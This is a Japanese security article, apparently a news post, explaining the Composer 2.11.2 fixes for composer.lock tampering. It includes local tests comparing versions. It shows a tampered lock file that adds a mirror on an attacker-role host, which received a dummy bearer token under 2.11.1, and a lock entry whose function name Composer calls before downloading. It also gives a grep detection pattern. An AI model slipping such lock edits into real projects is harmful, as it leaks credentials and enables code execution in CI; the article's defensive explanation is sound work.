Composer 2.11.2で直ったセキュリティ問題|composer.lockの書き換えでコマンド実行やトークン送信が起きる仕組みと、CIで見直すこと
Composer 2.11.2と2.2.32で、composer.lockの書き換えを使う攻撃への対策が入った
PHPの依存パッケージ管理ツールComposerの開発チームが、2026年11月10日にComposer 2.11.2と、長期サポート版(2.2 LTS)の2.2.32を公開しました(2.11.2のリリースノート)。2.11.2の変更点には、セキュリティの修正が7項目並んでいます。このうち3件は、深刻度付きのセキュリティ勧告として公開されました(High 2件、Medium 1件)。
3件のうち2件は、composer.lock(入れるパッケージの版と取得先を記録したファイル)やvendor/composer/installed.json(インストール済みのパッケージを記録したファイル)の中身を書き換えられたときに起きる問題です。勧告は、lockファイルを書き換えるプルリクエストや、CIのキャッシュから戻したlockファイルを例に挙げています。人がlockファイルの変更を見る前にcomposer installを自動で走らせるCIを持つプロジェクトほど、更新を急ぐ必要があります。
この記事では、Docker Hubの公式イメージcomposer:2.11.1とcomposer:2.11.2を、手元に立てた疑似リポジトリにつなぎ、lockファイルを書き換えたときに何が起きるかを比べました。影響を受ける条件、2.11.1と2.11.2の違い、更新とCIで見直すことを順に説明します。
要点
Composer 2を最新の版に上げ、lockファイルの変更を人が確かめる前にCIでcomposer installを走らせない
composer:2.11.1と2.11.2を、同じプロジェクトと疑似リポジトリで比べた結果です。
認証ヘッダー
lockに書いた別ホストのミラーへ、2.11.1はトークンを送った
リポジトリに設定したAuthorizationヘッダーが、別ホストに届きました。2.11.2は送りません。
lockに書いた関数名
2.11.1は、lockに書いた関数名をダウンロードの前に呼び出した
勧告が、任意のコマンドが動くとしている仕組みです。2.11.2はlockのこの値を無視しました。
ほかの変更
リダイレクト先にAuthorizationとCookieを送らず、auth.jsonの認証以外の設定を使わない
X-API-Keyのような独自のヘッダーは、2.11.2でもリダイレクト先に届きました。
更新先
2.3以降は最新の2.x、2.2以前の2.xは2.2.32以降、Composer 1は2へ
引数なしのcomposer self-updateで、2.11.1から2.11.2に上がりました。
Composerの3件の勧告は、影響する版と起きる条件がそれぞれ違う
公開された3件の勧告を、影響する版、起きる条件、深刻度で並べます。どれも、信頼できない入力(第三者が手を加えたlockファイルやリポジトリ)を扱う場合に起きる問題です。
High(CVSS 8.8)
lockの書き換えで任意のコマンドが動く
影響: 2.10.0〜2.11.1。lockやinstalled.jsonのtransport-options(ダウンロード時の通信の設定)に書いた関数名が、ダウンロードの前に呼び出されます。2.2 LTSは影響を受けません。
High(CVSS 8.8)
細工したzipがパッケージの外へファイルを書く
影響: 1.0〜2.11.1(2.2系は2.2.31まで)。信頼できないリポジトリやミラーのzipを、unzipとPHPのzip拡張がある環境で展開した場合です。Composer 1には修正版がありません。
Medium(CVSS 6.5)
lockに書いたミラーへ認証ヘッダーが送られる
影響: 2.11.0、2.11.1、2.2.31。リポジトリの設定にトークンなどのHTTPヘッダーを直接書いている場合です。
2.3から2.9までの系列は、コマンド実行とミラーの勧告の対象外ですが、zipの勧告の対象に入ります。2.10系は、コマンド実行とzipの2件の対象です。
コマンド実行の勧告は、--no-scriptsや--no-pluginsを付けても防げないと書いています。いちばんありそうな経路として挙げているのは、人がlockファイルの差分を見ないまま、CIがブランチをチェックアウトしてcomposer installを走らせる運用です。zipの勧告は、Packagist.orgで公開されている通常のパッケージのzipには、この攻撃に使う形のファイルは含まれないと説明しています。
セキュリティの修正の残り4項目は、別オリジンへのリダイレクトでAuthorizationとCookieを再送しない修正、プロジェクトのauth.json(認証情報を書くファイル)と環境変数COMPOSER_AUTHから認証以外の設定を読まない修正、prevent_ip_access_callableで止めるIPアドレスへの要求が送られたあとで止まっていた問題の修正、同梱のsymfony/filesystemを公開済みの脆弱性(GHSA-6prc-h956-hxjq)を直した版に上げた更新です。
lockに書いた別ホストのミラーへ、2.11.1はリポジトリのトークンを送った
手元では、ホストの127.0.0.1だけで待ち受ける疑似リポジトリ(ポート8781)と、攻撃者のホスト役のサーバー(ポート8782)を立てました。プロジェクトのcomposer.jsonには、HTTPヘッダーにトークンを書く設定を入れています。勧告が、Private PackagistやSatisのようなprivateリポジトリでよく使われるとしている設定です(トークンはダミーです)。
"repositories": [
{
"type": "composer",
"url": "http://host.docker.internal:8781",
"options": { "http": { "header": ["Authorization: Bearer test-secret-123"] } }
}
]
抜粋です。手元ではhttpで試すため、configでsecure-httpをfalseにし、Packagist.orgを使わない設定も入れています。
2.11.2で作ったcomposer.lockのパッケージのdist(zipの取得先を書く欄)に、別ホストのミラーを1つ書き足しました。lockファイルを書き換えるプルリクエストを想定した変更です。
"dist": {
"type": "zip",
"url": "http://host.docker.internal:8781/dist/hello-1.0.0.zip",
...
"mirrors": [
{
"url": "http://host.docker.internal:8782/mirror/%package%/%version%/%reference%.%type%",
"preferred": true
}
]
}
このlockでcomposer installを実行し、別ホスト役のサーバーに届いた要求を記録しました。
composer:2.11.1
別ホストに「Authorization: Bearer test-secret-123」が届いた
ミラーのzipを取りに行く要求に、リポジトリ用のトークンが付いていました。
composer:2.11.2
同じ要求に、Authorizationは付かなかった
ミラーへの要求は届きましたが、トークンは送られていません。
どちらの版も、ミラー役のサーバーがzipを返したので、インストールは成功しました。2.11.1の出力のダウンロードの行は「Downloading acme/hello (1.0.0)」で、取得先のホストは表示されませんでした。
2.11.2でも、lockに書かれたミラーや取得先のURLからzipを取りに行く動作は変わりません。distのurlだけを別ホストに書き換えたlockでは、2.11.1も2.11.2も、そのホストからzipを取得しました(トークンは両方とも付きませんでした)。更新したあとも、lockファイルの取得先の変化を確かめる意味は残ります。
lockに書いた関数名を、2.11.1はダウンロードの前に呼び出した
コマンド実行の勧告は、lockのtransport-optionsに書いたprevent_url_access_callable(URLへのアクセスを止めるかを判断する関数)を、Composerがそのまま呼び出してしまう問題です。手元では、攻撃のコマンドは作らず、文字列ならtrueを返すだけのPHPの関数is_stringを書いて、lockの値が関数として呼ばれるかを確かめました。
"transport-options": {
"prevent_url_access_callable": "is_string"
}
2.11.1では、zipをダウンロードする前にこの関数が呼ばれ、URLが文字列なのでtrueが返り、ダウンロードが止まりました。
In CurlDownloader.php line 220:
Access to "http://host.docker.internal:8781/dist/hello-1.0.0.zip" is blocked.
2.11.2では、関数は呼ばれず、インストールは成功しました。2.11.2のソースでは、lockとinstalled.jsonから読んだtransport-optionsから、関数を指定する2つのオプション(prevent_url_access_callableとprevent_ip_access_callable)を取り除いています。勧告によると、この仕組みで任意のシステムコマンドが動き、そのコマンドはパッケージのチェックサムなどの確認より前に実行されます。
2.11.2では、リダイレクト先とauth.jsonの扱いも変わった
セキュリティの修正のうち、勧告になっていない2つも、同じ疑似リポジトリで確かめました。オリジンは、URLのスキーム、ホスト名、ポートの組です。ここではポートだけが違うサーバーを、別オリジンとして使っています。
2.11.1と2.11.2で比べた2つの確認
- リポジトリが別オリジンへ302でリダイレクトする。リポジトリの設定に
AuthorizationとCookieのヘッダーを書くと、2.11.1はリダイレクト先にも両方を送りました。2.11.2はリダイレクト先には送らず、リダイレクト元にだけ送りました。X-API-Keyのような独自のヘッダーは、2.11.2でもリダイレクト先に届きました。独自のヘッダーでトークンを送っているリポジトリは、リダイレクト先が信頼できるホストかを確かめます。 - プロジェクトの
auth.jsonに"secure-http": falseを書く。composer.jsonではsecure-httpを設定していない状態です。2.11.1はauth.jsonの値を使い、httpのリポジトリからcomposer updateできました。2.11.2は警告を出して値を使わず、httpのリポジトリへの接続を拒否しました。
2.11.2が出した警告とエラーは次のとおりです。
Ignoring the "secure-http" config set in /app/auth.json, only authentication settings can be set there.
...
Your configuration does not allow connections to http://host.docker.internal:8781/packages.json.
この修正のプルリクエストによると、これまではプロジェクトのauth.jsonとCOMPOSER_AUTHに書いた設定がcomposer.jsonに重ねて読まれ、allow-pluginsやvendor-dirまで黙って変えられる状態でした(#13208)。2.11.2からは、認証の設定(http-basic、github-oauth、bearerなど)だけを読みます。プロジェクトのauth.jsonに認証以外の設定を書いていた場合は、本当に必要な設定かを確かめてからcomposer.jsonのconfigへ移します。secure-http: falseのように保護を弱める設定は、移さずに済ませる方法(リポジトリをhttpsにするなど)を先に考えます。
なお、composer config secure-httpやcomposer config --listの表示には、2.11.2でもauth.jsonの値がそのまま出ました。実際に使われる値は、updateやinstallの動作と警告で確かめます。環境変数COMPOSER_AUTHに{"process-timeout": 9}を入れた場合は、composer config process-timeoutの表示が、2.11.1では9、2.11.2では警告のあと既定値の300でした。
2.11.2では、接続したまま何も返さないサーバーからのダウンロードを、30秒で打ち切って再試行するようにもなりました。手元では、2.11.2は30秒ごとに4回試して122秒で終わり、2.11.1は150秒たっても待ち続けていました。遅いサーバーを使う場合は、環境変数COMPOSER_HTTP_STALL_TIMEOUTで秒数を変えられます(0で無効)。
更新とCIで確かめる4つのこと
使っている系列ごとに、上げる先が違います。Composer 2の2.3以降(2.11系を含む)を使っている場合は、引数なしのself-updateで最新の安定版に上げます。手元では、2.11.1のコンテナーで実行すると2.11.2に上がりました。
# Composer 2.3 以降を使っている場合
composer self-update
composer --version
# Composer version 2.11.2 2026-11-10 10:09:37(2026年11月15日の実行結果)
2.2 LTSを使い続けている場合は、--2.2を付けます(2.0・2.1系も、この系列か最新の2.xに上げます)。2.2 LTSはPHP 5.3以降で動く系列で、getcomposer.orgのダウンロードページの版情報では、重大なセキュリティ修正だけを2026年12月31日まで受けます。手元では、2.11.2に上げたコンテナーから実行して2.2.32に切り替わりました。
# 2.2 LTS を使い続ける場合だけ
composer self-update --2.2
composer --version
# Composer version 2.2.32 2026-11-10 10:09:19
Composer 1を使っている場合は、zipの勧告の修正版がないので、Composer 2へ移ります。
確認リスト
- 手元、CI、本番の
composer --versionを確かめ、2.3以降は2.11.2以降、2.2以前の2.xは2.2.32以降に上げ、Composer 1はComposer 2へ移る。 - CIのDockerイメージのタグ(
composer:2.11.1など)や、ワークフローで指定しているComposerの版を直す。 - lockファイルが変わるプルリクエストは、ほかのファイルと一緒に変わる場合も含めて、人がlockの差分を確かめてから
composer installを走らせる。vendor/をCIのキャッシュから戻す場合は、そのキャッシュを誰が書き込めるかも確かめる。 - プロジェクトの
auth.jsonに認証以外の設定を書いていないかを確かめ、必要なものだけをcomposer.jsonのconfigへ移す。
3つ目の確認では、lockファイルの差分のうち、distとsourceのURL、"mirrors"、"transport-options"が変わっていないかを見ます。今あるlockファイルからキーを探す手がかりとして、次のコマンドが使えます。
grep -n -E '"(mirrors|transport-options)"' \
composer.lock vendor/composer/installed.json
手元でPackagist.orgの公開パッケージ(psr/log、monolog/monolog、symfony/consoleとその依存)を入れて作ったlockファイルには、どちらのキーもありませんでした。今回書き換えたlockファイルでは、書き足した行が見つかりました。
正規の設定でも、これらのキーが入る場合があります。pathリポジトリ(手元のフォルダーをパッケージとして使う設定)では、正規のlockファイルに"transport-options": {"relative": true}が入りました。また、10月29日に公開された別の勧告によると、2.11.0と2.2.31より前の版は、リポジトリの設定に直接書いたHTTPヘッダー(トークンなど)を、lockファイルのtransport-optionsのheaderとして書き込んでいました(GHSA-fm2w-xgf2-f9fh)。上げたあとも既存のlockファイルには残るので、勧告はcomposer update --lockなどでlockファイルを書き直すよう案内しています。
見つけたときは、そのキーを足したコミットと値を確かめます。グローバル設定など、プロジェクトのcomposer.jsonの外に書いたトークンがlockファイルに入っていて、そのlockファイルを共有していた場合は、勧告に従ってトークンを無効にし、新しいものに替えます。
参考資料
- Composer 2.11.2のリリースノート(GitHub、2026年11月10日)
- Composer 2.2.32のリリースノート
- GHSA-jhfp-4ppm-crmm、GHSA-w6hj-6587-3jh5、GHSA-x82q-x274-r6pq、GHSA-fm2w-xgf2-f9fh
- Drop credential headers when following a redirect to another origin(#13253)、Only read auth settings from auth.json/COMPOSER_AUTH(#13208)
- Docker Hubのcomposer公式イメージ
検証環境
- macOS 27.0.1(Apple Silicon)、Docker 29.5.3(Docker Desktop)
- Docker Hubの公式イメージ composer:2.11.1・composer:2.11.2(PHP 8.5.12)
- 検証日: 2026年11月15日
この記事は、AIが調査と下書きを担当し、上記の環境で実際に動かして結果を確かめ、下書きとは別の担当が公開前に本文と出典を確認しています。制作と訂正の方針は編集・訂正方針で公開しています。











